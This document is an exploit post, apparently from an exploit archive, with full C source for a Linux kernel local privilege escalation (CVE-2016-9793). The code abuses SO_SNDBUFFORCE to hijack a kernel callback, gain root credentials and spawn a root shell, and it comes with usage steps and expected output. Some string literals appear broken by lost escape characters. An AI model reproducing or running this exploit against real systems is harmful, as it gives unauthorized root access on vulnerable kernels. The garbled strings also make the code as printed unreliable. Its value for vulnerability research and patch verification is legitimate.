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Linux Kernel SO_SNDBUFFORCE / SO_RCVBUFFORCE Local Privilege Escalation

Posted on 13 May 2017

// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793
// No KASLR, SMEP or SMAP bypass included
// Affected kernels: 3.11 -> 4.8
// Tested in QEMU only
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
//
// Usage:
// # gcc -pthread exploit.c -o exploit
// # chown guest:guest exploit
// # setcap cap_net_admin+ep ./exploit
// # su guest
// $ whoami
// guest
// $ ./exploit
// [.] userspace payload mmapped at 0xfffff000
// [.] overwriting thread started
// [.] sockets opened
// [.] sock->sk_sndbuf set to fffffe00
// [.] writing to socket
// [+] got r00t
// # whoami
// root
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>

#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define COMMIT_CREDS 0xffffffff81079860ul
#define PREPARE_KERNEL_CRED 0xffffffff81079b20ul

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root(void) {
commit_creds(prepare_kernel_cred(0));
}

struct ubuf_info_t {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};

struct skb_shared_info_t {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};

// sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0
#define SNDBUF 0xffffff00
#define SHINFO 0x00000000fffffed0ul

struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0};
//struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0};
struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO;

#define SKBTX_DEV_ZEROCOPY (1 << 3)

void* skb_thr(void* arg) {
while (1) {
skb_shared_info->destructor_arg = (uint64_t)&ubuf_info;
skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY;
}
}

int sockets[2];

void *write_thr(void *arg) {
// Write blocks until setsockopt(SO_SNDBUF).
write(sockets[1], "x5c", 1);

if (getuid() == 0) {
printf("[+] got r00t
");
execl("/bin/bash", "bash", NULL);
perror("execl()");
}
printf("[-] something went wrong
");
}

int main() {
void *addr;
int rv;
uint32_t sndbuf;

addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul,
PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,
-1, 0);
if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) {
perror("mmap()");
exit(EXIT_FAILURE);
}

printf("[.] userspace payload mmapped at %p
", addr);

pthread_t skb_th;
rv = pthread_create(&skb_th, 0, skb_thr, NULL);
if (rv != 0) {
perror("pthread_create()");
exit(EXIT_FAILURE);
}
usleep(10000);

printf("[.] overwriting thread started
");

rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);
if (rv != 0) {
perror("socketpair()");
exit(EXIT_FAILURE);
}

printf("[.] sockets opened
");

sndbuf = SNDBUF;
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,
&sndbuf, sizeof(sndbuf));
if (rv != 0) {
perror("setsockopt()");
exit(EXIT_FAILURE);
}

printf("[.] sock->sk_sndbuf set to %x
", SNDBUF * 2);

pthread_t write_th;
rv = pthread_create(&write_th, 0, write_thr, NULL);
if (rv != 0) {
perror("pthread_create()");
exit(EXIT_FAILURE);
}
usleep(10000);

printf("[.] writing to socket
");

// Wake up blocked write.
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,
&sndbuf, sizeof(sndbuf));
if (rv != 0) {
perror("setsockopt()");
exit(EXIT_FAILURE);
}
usleep(10000);

close(sockets[0]);
close(sockets[1]);

return 0;
}

 

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